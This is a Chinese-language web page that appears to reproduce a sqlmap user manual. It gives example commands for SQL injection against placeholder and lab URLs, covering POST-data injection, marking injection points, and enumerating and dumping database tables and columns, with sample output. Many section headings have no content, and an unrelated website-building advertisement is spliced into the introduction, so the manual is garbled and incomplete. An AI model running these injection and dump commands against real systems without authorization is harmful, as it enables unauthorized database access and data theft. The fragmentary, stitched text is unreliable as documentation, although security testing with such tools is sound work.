400 028 6601

建站动态

根据您的个性需求进行定制 先人一步 抢占小程序红利时代

SqlMap使用手册

0x00 SQLMAP简介

创新互联专业为企业提供富县网站建设、富县做网站、富县网站设计、富县网站制作等企业网站建设、网页设计与制作、富县企业网站模板建站服务,十余年富县做网站经验,不只是建网站,更提供有价值的思路和整体网络服务。

0x01 Sqlmap扫描等级(共有7个等级,默认为1)

0x02 获取目标方式

eg:python sqlmap.py -u http(s)://targeturl[:port]/[...]

0x03 从文本中获取多个目标扫描

www.target1.com/vuln1.php?q=foobar

www.target2.com/vuln2.asp?id=1

www.target3.com/vuln3/id/1*

0x04 从文件中加载HTTP请求

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

0x05 POST方式注入

eg:python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"

0x06 设定超时时间

0x07 设定重试超时

0x08 测试参数

eg:
1.python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

2.python sqlmap.py -u "http://targeturl/param1/value1/param2/value2/15*"

0x09 列举数据库系统的数据库

0x10 列举数据库表

0x11 列举书库表中的字段

eg:
python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

0x12 获取表中数据个数

eg:
python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+

0x13 获取整个表的数据或某几个字段的数据。

python sqlmap.py -u http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 --dump -D testdb -T dbo.users
python sqlmap.py -u http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 --dump -D testdb -T dbo.users -C ID,NAME

网页标题:SqlMap使用手册
文章源于:http://www.bluegullmedia.com/article/jsissh.html

其他资讯

让你的专属顾问为你服务

0.0532s